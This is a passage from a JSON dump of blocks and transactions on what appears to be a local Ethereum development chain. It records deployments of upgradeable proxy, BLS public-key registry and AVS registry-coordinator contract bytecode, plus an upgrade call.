21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xab342297a4be7dbf2681de71d298ba5da295f55b556ca5367586078de8e27684","s":"0x63c931074092020d1928858278584b77d29e73baa5b01822612bccd085f669c4","yParity":"0x1","hash":"0x857fdf6767c9d799d21797d276dddb688639118af164f9d96622d2d5c135be10"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x25","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x6e1162eef6dd178b82b49d6422157bd9f066734af24e852ce085a632abd9b901","s":"0x105f04f8f215322c9f1ee1c9e66e456a49708d8000bad0f50e957e8da1c86bea","yParity":"0x1","hash":"0x8e126499b7deba707e64a575cb693d59b617e47dcdd2fb31a508dbf08bbb4231"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xe90006fde8c5e6d0311f3ef636eed001b7704319356fc8f642a53dc6a96dbb93","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x48cb33a11b2bdd775b4c53784d8e3aac0d5f5b51a5473ff2530a66dbacd8b1fc","transactionsRoot":"0x6dde564662281a66676a1ca24c5336a5d34833663714a8d32fcf9eb8ac94b8dc","receiptsRoot":"0x88db13b9c119d671989c7894e4ce88c2e518c39ddba07709c65a68100418a97b","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00002000000001000000000040000008400400000000000000800000020000000000000800000000000000000000000080000000000000100800000000000040004080000000008000002400000102000001000400000010004000008000000000000000020000000000048100010820000000080200000000000100000000400100000100000000000000000000000000000000000080000000000000000000000000000000000000200000400400000000000000000000000000000000000000000020480000280000000002441100000000002000000000000000000020000000100000400000080000820000000000000000000000000000100000408000","difficulty":"0x0","number":"0x7","gasLimit":"0x1c9c380","gasUsed":"0x712cee","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1cd0e265","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2c","gas":"0x239d94","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60a060405234801561001057600080fd5b5060405161207538038061207583398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611f026101736000396000818161030f01528181610466015281816105bf015281816109c501526110250152611f026000f3fe608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a4c565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a65565b6102a261029d366004611a7c565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa6565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000000000000000000000000000000000000000000081565b61034461033f366004611a7c565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611aee565b6109b8565b6103f26103ed366004611b4b565b610e0b565b6040516101529190611bc4565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a4c565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146104ac5760405162461bcd60e51b81526004016104a390611c0d565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146105fc5760405162461bcd60e51b81526004016104a390611c0d565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c81565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610a025760405162461bcd60e51b81526004016104a390611c0d565b6000610a30610a1936869003860160408701611cfb565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611ead83398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611ead83398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611ead83398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2e565b6040516020818303038152906040528051906020012060001c610c419190611d70565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cfb565b90611307565b610c7436899003890189611cfb565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cfb565b610cd6368a90038a0160808b01611dd7565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611ead83398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e18565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce5565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce5565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e58565b81548110610f9a57610f9a611ce5565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e58565b858581518110610fd557610fd5611ce5565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e6b565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146110625760405162461bcd60e51b81526004016104a390611c0d565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce5565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e58565b8154811061121657611216611ce5565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560ff88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e82565b905084826002811061154957611549611ce5565b6020020151518361155b836000611e99565b600c811061156b5761156b611ce5565b602002015284826002811061158257611582611ce5565b602002015160200151838260016115999190611e99565b600c81106115a9576115a9611ce5565b60200201528382600281106115c0576115c0611ce5565b60200201515151836115d3836002611e99565b600c81106115e3576115e3611ce5565b60200201528382600281106115fa576115fa611ce5565b6020020151516001602002015183611613836003611e99565b600c811061162357611623611ce5565b602002015283826002811061163a5761163a611ce5565b60200201516020015160006002811061165557611655611ce5565b602002015183611666836004611e99565b600c811061167657611676611ce5565b602002015283826002811061168d5761168d611ce5565b6020020151602001516001600281106116a8576116a8611ce5565b6020020151836116b9836005611e99565b600c81106116c9576116c9611ce5565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d70565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e58565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b9150602083013567ffffffffffffffff8111156119d957600080fd5b8301601f810185136119ea57600080fd5b803567ffffffffffffffff811115611a0457611a04611931565b611a17601f8201601f1916602001611970565b818152866020838501011115611a2c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b600060208284031215611a5e57600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8f57600080fd5b611a9883611905565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b611ac484611905565b9250602084013563ffffffff81168114611add57600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0557600080fd5b611b0e856118cc565b9350610100601f1982011215611b2357600080fd5b602085019250604061011f1982011215611b3c57600080fd5b50610120840190509250925092565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff811115611b7757600080fd5b8401601f81018613611b8857600080fd5b803567ffffffffffffffff811115611b9f57600080fd5b866020828401011115611bb157600080fd5b6020918201979096509401359392505050565b602080825282518282018190526000918401906040840190835b81811015611c0257835163ffffffff16835260209384019390920191600101611bde565b509095945050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b0384168152826020820152606060408201526000825180606084015260005b81811015611cc35760208186018101516080868401015201611ca6565b506000608082850101526080601f19601f830116840101915050949350505050565b634e487b7160e01b600052603260045260246000fd5b60006040828403128015611d0e57600080fd5b50611d17611947565b823581526020928301359281019290925250919050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611da357600080fd5b611dab611947565b806040840185811115611dbd57600080fd5b845b81811015611c02578035845260209384019301611dbf565b60006080828403128015611dea57600080fd5b50611df3611947565b611dfd8484611d92565b8152611e0c8460408501611d92565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e42565b600081611e7a57611e7a611e42565b506000190190565b80820281158282048414176106ff576106ff611e42565b808201808211156106ff576106ff611e4256fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a2646970667358221220df4f56df4f9fb3b920f09e884a490e66eaaef074188ad7d538b50b8a6ed8be1464736f6c634300081c0033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c","r":"0xa4d339db568f9a00002f5e63f0e16b4de56041037dde20cf236ecb68e69f898f","s":"0xcdd9e5c4e2b1d18ac39f24578039550ee0a78c90f2b8a4c08949224d6ed3d5e","yParity":"0x0","hash":"0xa456738d8db2009fb3312844666d9d976d87f4508d10a708f88dfbda6670edcd"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2d","gas":"0xd175","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x99a88ec4000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e0000000000000000000000008f86403a4de0bb5791fa46b8e795c547942fe4cf","r":"0x1e4718a37222b4afb812e0cb601bc8958641c9ba80f1369770f2bc5b63e4f0a7","s":"0x7ba51e2bfb4ccea42f5e64e7f59b10623112bbe13c1dceaef51e33d3fedb575a","yParity":"0x1","hash":"0xea8d6e33dc169f638f10dce03cffccc4d4e8594d0211415af99ea7330abe0032"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2e","gas":"0x63578c","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6101c060405234801561001157600080fd5b50604051615cc6380380615cc683398101604081905261003091610248565b604080518082018252601681527f4156535265676973747279436f6f7264696e61746f720000000000000000000060208083019182528351808501909452600684526576302e302e3160d01b908401528151902060e08190527f6bda7e3f385e48841048390444cced5cc795af87758af67622e5f4f0882c4a996101008190524660a05287938793879387939192917f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f61012f8184846040805160208101859052908101839052606081018290524660808201523060a082015260009060c0016040516020818303038152906040528051906020012090509392505050565b6080523060c05261012052505050506001600160a01b039384166101405291831661018052821661016052166101a052610167610170565b505050506102a7565b600054610100900460ff16156101dc5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561022e576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461024557600080fd5b50565b6000806000806080858703121561025e57600080fd5b845161026981610230565b602086015190945061027a81610230565b604086015190935061028b81610230565b606086015190925061029c81610230565b939692955090935050565b60805160a05160c05160e05161010051610120516101405161016051610180516101a0516159186103ae6000396000818161074e0152818161118101528181611f5c01528181612b9a015281816132a701526136c101526000818161069301528181611ee70152818161238601528181612b1a015281816131fe015281816133ef015261364001526000818161065901528181610f5401528181611f2501528181612a9c01528181612c8201528181612cfc0152818161317e015261373d015260008181610571015281816129f201526130c601526000613944015260006139930152600061396e015260006138c7015260006138f10152600061391b01526159186000f3fe608060405234801561001057600080fd5b50600436106103265760003560e01c80635b0b829f116101b85780639e9923c211610104578063d72d8dd6116100a2578063e65797ad1161007c578063e65797ad1461083b578063f2fde38b146108de578063fabc1cbc146108f1578063fd39105a1461090457600080fd5b8063d72d8dd61461080d578063d75b4c8814610815578063dd8283f31461082857600080fd5b8063a96f783e116100de578063a96f783e146107aa578063c391425e146107b3578063ca0de882146107d3578063ca4f2d97146107fa57600080fd5b80639e9923c2146107495780639feab85914610770578063a50857bf1461079757600080fd5b8063715018a611610171578063886f11951161014b578063886f1195146106